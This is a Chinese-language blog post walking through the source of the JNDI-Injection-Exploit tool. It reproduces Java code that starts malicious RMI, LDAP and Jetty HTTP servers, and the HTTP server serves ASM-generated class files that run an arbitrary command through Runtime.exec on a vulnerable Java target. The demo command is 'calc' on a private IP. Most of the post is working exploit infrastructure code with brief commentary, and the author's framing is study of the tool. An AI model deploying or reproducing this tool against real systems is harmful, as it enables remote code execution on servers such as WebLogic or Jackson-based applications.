JNDI-Injection-Exploit工具代码简单学习

0x00 前言

最近在学习webLogic、Jackson漏洞的过程中用到了很多次JNDI-Injection-Exploit工具,出于好奇学习了下内部代码。

0x01 一些基础知识

0x02 结合代码深入学习

从程序入口开始,按照目录依次分析

  1. run:ServerStart.java 开启整个JNDI服务
  2. util:Mapper.java;Reflections.java;Transformers.java 通用的工具
  3. jetty:JettyServer.java 开启HTTP相关服务
  4. jndi:LDAPRefServer,java;RMIRefServer.java 开启RMI、LDAP服务
image-20200813144416117

run:ServerStart.java

ServerStart.java很简单明了,就是根据IP、命令、默认设置的端口开启HTTP、RMI、LDAP服务,并记录输出日志信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
public class ServerStart {
public static String addr = getLocalIpByNetcard();

//default ports
public static int rmiPort = 1099;
public static int ldapPort = 1389;
private static int jettyPort = 8180;

private URL codebase;

private JettyServer jettyServer;
private RMIRefServer rmiRefServer;
private LDAPRefServer ldapRefServer;

public static void main(String[] args) throws Exception{

// CommandLineParser parser = new DefaultParser();
// CommandLine cmd = null;
// //default command
// String[] cmdArray = {"open","/Applications/Calculator.app"};
//
// try{
// cmd = parser.parse(cmdlineOptions(),args);
// }catch (Exception e){
// System.err.println("Cmdlines parse failed.");
// System.exit(1);
// }
// if(cmd.hasOption("C")) {
// cmdArray = cmd.getOptionValues('C');
// }
// if(cmd.hasOption("A")) {
// addr = cmd.getOptionValue('A');
// }
String cmdArray = "calc";
addr = "192.168.116.1";

// 根据IP、端口、命令开启http、rmi、ldap服务
ServerStart servers = new ServerStart(new URL("http://"+ addr +":"+ jettyPort +"/"),StringUtils.join(cmdArray," "));

// 日志信息
System.out.println("[ADDRESS] >> " + addr);
System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," "),ANSI_BLUE));
Class.forName("util.Mapper");

System.out.println("----------------------------Server Log----------------------------");
System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort);
Thread threadJetty = new Thread(servers.jettyServer);
threadJetty.start();

System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort);
Thread threadRMI = new Thread(servers.rmiRefServer);
threadRMI.start();

Thread threadLDAP = new Thread(servers.ldapRefServer);
threadLDAP.start();

}

public ServerStart(String cmd) throws Exception{
this.codebase = new URL("http://"+ getLocalIpByNetcard() +":"+ jettyPort +"/");

jettyServer = new JettyServer(jettyPort,cmd);
rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd);
ldapRefServer = new LDAPRefServer(ldapPort,codebase);
}

/**
* 根据IP、命令、默认设置的端口,创建HTTP、RMI、LDAP服务
*/
public ServerStart(URL codebase, String cmd) throws Exception{
this.codebase = codebase;

jettyServer = new JettyServer(jettyPort,cmd);
rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd);
ldapRefServer = new LDAPRefServer(ldapPort,this.codebase);
}

/**
* 命令行获取IP和执行命令信息
* Option是Apache 下面的一个解析命令行输入的工具包
*/
public static Options cmdlineOptions(){
Options opts = new Options();
// 定义参数选项命令信息 -C
Option c = new Option("C",true,"The command executed in remote .class.");
c.setArgs(Option.UNLIMITED_VALUES);
opts.addOption(c);
// 定义参数选项IP信息 -A
Option addr = new Option("A",true,"The address of server(ip or domain).");
opts.addOption(addr);
return opts;
}

/**
* 直接根据第一个网卡地址作为其内网ipv4地址
*
* @return
*/
public static String getLocalIpByNetcard() {
try {
for (Enumeration<NetworkInterface> e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
NetworkInterface item = e.nextElement();
for (InterfaceAddress address : item.getInterfaceAddresses()) {
if (item.isLoopback() || !item.isUp()) {
continue;
}
if (address.getAddress() instanceof Inet4Address) {
Inet4Address inet4Address = (Inet4Address) address.getAddress();
return inet4Address.getHostAddress();
}
}
}
return InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
throw new RuntimeException(e);
}
}

/**
* Get current time
*/
public static String getLocalTime(){
Date d = new Date();
DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
return sdf.format(d);
}

public static Boolean isLinux(){
return !System.getProperty("os.name").toLowerCase().startsWith("win");
}

public static String withColor(String str,String color){
if (isLinux()) {
return color + str + ANSI_RESET;
}
return str;
}
}

Util

Mapper很明了,主要是用来输出提示,告知用户相关信息

image-20200813201605598

Transformers-动态生成执行命令的字节码

Transformers主要用ASM来动态生成执行命令的字节码,便于实现远程服务器从HTTP服务器获取class来执行命令。

ASM是一个Java字节码操纵框架,被用来动态生成类或者增强既有类的功能。所以它能灵活地根据输入的参数插入到类模板,从而实现执行任何命令需求。

ASM的核心API:

1
2
3
ClassReader:用于读取已经编译好的.class文件。
ClassWriter:用于重新构建编译后的类,如修改类名、属性以及方法,也可以生成新的类的字节码文件。
各种Visitor类:ASM内部采用访问者模式根据字节码从上到下依次处理,对于字节码文件中不同的区域有不同的Visitor。用于访问方法的MethodVisitor、用于访问类变量的FieldVisitor、用于访问注解的AnnotationVisitor等。为了实现AOP,重点要使用的是MethodVisitor。

image-20200813171228268

jetty:JettyServer.java

JettyServe用于开启HTTP服务,主要是提供远程服务器class字节码,这个字节码由Transformers根据请求的是JDK7还是JDK8的模板来生成执行命令的class字节码,从而动态执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
/**
* @Classname JettyServer
* @Description HTTPServer supply .class file which execute command by Runtime.getRuntime.exec()
* @Author welkin
*
* Jetty是一个提供 HTTP服务器、HTTP客户端和javax.servlet容器的开源项目
*/
public class JettyServer implements Runnable{
private int port;
private Server server;
private static String command;

// public JettyServer(int port) {
// this.port = port;
// server = new Server(port);
// command = "open /Applications/Calculator.app";
// }

public JettyServer(int port,String cmd) {
this.port = port;
server = new Server(port);
command = cmd;
}

@Override
public void run() {
ServletHandler handler = new ServletHandler();
server.setHandler(handler);

// 处理器 DownloadServlet 处理所有路径/*
handler.addServletWithMapping(DownloadServlet.class, "/*");
try {
server.start();
server.join();
}catch (Exception e){
e.printStackTrace();
}

}

@SuppressWarnings("serial")
public static class DownloadServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{

// 根据RequestURI,获取到相应的类模板
String filename = request.getRequestURI().substring(1);
InputStream in = checkFilename(filename);
byte[] transformed;
ByteArrayInputStream bain = null;

if (in != null) {
try {
// 传入模板和命令,用Transformers生成执行命令的字节流
transformed = insertCommand(in,command);
bain = new ByteArrayInputStream(transformed);

}catch (Exception e){
e.printStackTrace();
System.out.println(getLocalTime() + " [JETTYSERVER]>> Byte array build failed.");
}

System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL());
response.setStatus(HttpServletResponse.SC_OK);
response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(filename, "UTF-8"));

int len ;
byte[] buffer = new byte[1024];
OutputStream out = response.getOutputStream();
if (bain != null){
while ((len = bain.read(buffer)) > 0) {
out.write(buffer,0,len);
}
bain.close();
}else {
System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!");
}
}else {
System.out.println(getLocalTime() + " [JETTYSERVER]>> URL("+ request.getRequestURL() +") Not Exist!");
}
}

public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
doGet(request, response);
}
}

/**
* @description 检查请求的是ExecTemplateJDK7.class还是ExecTemplateJDK8.class,获取相应的类模板字节码
* @param filename
* @return
*/
private static InputStream checkFilename(String filename){
String template;
switch (filename){
case "ExecTemplateJDK7.class":
template = "template/ExecTemplateJDK7.class";
break;
case "ExecTemplateJDK8.class":
template = "template/ExecTemplateJDK8.class";
break;
// TODO:Add more
default:
return null;
}
return Thread.currentThread().getContextClassLoader().getResourceAsStream(template);
}
}

jndi:LDAPRefServer,java;RMIRefServer.java

RMIRefServer.java

参考链接:

welk1n/JNDI-Injection-Exploit

字节码增强之ASM

Java字节码增强探秘

Java 动态字节码技术

Jetty篇教程 之Jetty 嵌入式服务器